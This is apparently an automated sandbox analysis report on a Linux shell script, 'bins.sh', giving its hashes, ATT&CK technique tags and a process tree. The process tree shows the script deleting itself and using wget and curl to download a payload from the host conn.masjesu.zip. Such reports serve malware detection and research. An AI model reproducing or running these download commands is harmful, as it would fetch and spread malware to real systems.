98c8af806ecd56566dc6d6cbf593f3becbcc62c939d7486dfaea16b3aa889962

Analysis

max time kernel
148s
max time network
12s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/01/2025, 18:37

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General

Target
bins.sh
Size 10KB
Sample250119-w9f3rs1lan
SHA256 98c8af806ecd56566dc6d6cbf593f3becbcc62c939d7486dfaea16b3aa889962
MD5 0d8a547c589703bfe96b58c1674499cc
SHA1 ff5d6d3e46d1c8ae59b9f694e7e2d18b1c44a8b2
SHA512 42ebf80ad837961217acf3eb25f08443d8929480e0e0d3adbafba10924ae1130fcdac339e21ed845029bfb4f5fed5cbe91b6aa43d7b6ce90cb6ef36ccb8f1605
SSDEEP 192:yq+Ek7yWfaVsVsVJV6VmViYERYYttkv7PvXttkv7Pv6Ek7yWf2VsVsVJV6VmVeRR:yq+Ek7yWfaVsVsVJV6VmViYERYYttkvr
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
648	wget
653	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:641
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:644
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uG7hbIpu68UQImvZctUCf6vdhvYrjGy1iS
  2⤵
  - System Network Configuration Discovery
  PID:648
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uG7hbIpu68UQImvZctUCf6vdhvYrjGy1iS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:653

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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